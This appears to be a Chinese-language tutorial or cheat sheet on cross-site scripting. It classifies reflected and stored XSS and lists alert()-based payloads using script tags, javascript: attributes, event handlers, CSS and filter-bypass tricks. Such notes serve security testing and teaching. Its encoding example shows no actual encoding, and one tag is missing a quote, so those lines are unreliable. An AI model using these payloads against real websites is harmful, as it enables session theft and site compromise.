-
xss的分类
-
反射性XSS(通常出现在搜索框,登入口处)
-
持久型(通常出现在评论,留言,博客日志处)
-
xss的构造分类
-
利用<>标记注射 HTML/JAVASCRIPT
<script>alert('xss')</script>
</textarea><script>alert('xss')</script>
-
利用HTML标签属性值执行xss(通常HTML标记中的属性都支持javascript:[code]伪协议的形式)注意:这里并非所有浏览器都支持。还有并非所有的属性值都能产生xss,可以使用下面的属性值来测试
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');"></img>
-
空格回车 TAB键
<img src=java script:alert(/xss/) width=100>
/*注意上面个不是空格是Tab符号*/
<img src=java
script:alert(/xss/) width=100>
<!--这里是回车符号-->
-
对标签属性值转码 ASCII码形式 因为HTML属性本身支持ASCII码形式
<img src="javascript:alert('xss');">
<!--替换成-->
<img src="javascript:alert(/xss/);">
-
产生自己的事件(这里的意思是如果存在反射型客户端没人点击你构造的代码,那你就可以自己产生事件来执行你的代码) 比如click、mouseover、load等
<input type="button" value="click me" onclick="alert('click me')"/>
<img src="#" onerror=alert(/xss/)>
其他事件属性
onResume
onReverse
onRowDelete
onRowInserted
OnSeek
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
onMediaComplete
onMediaComplete
-
CSS样式表 注意根据浏览器的不同CSS构造不一定通用
<div style="background-image:url(javascript:alert('XSS'))></div>
<style>
body {background-image:url("javascript:alert('xss')")}
</style>
-
绕过过滤规则 例如大小写混合用 、不加双引号、编码十六、十、八、ASCII等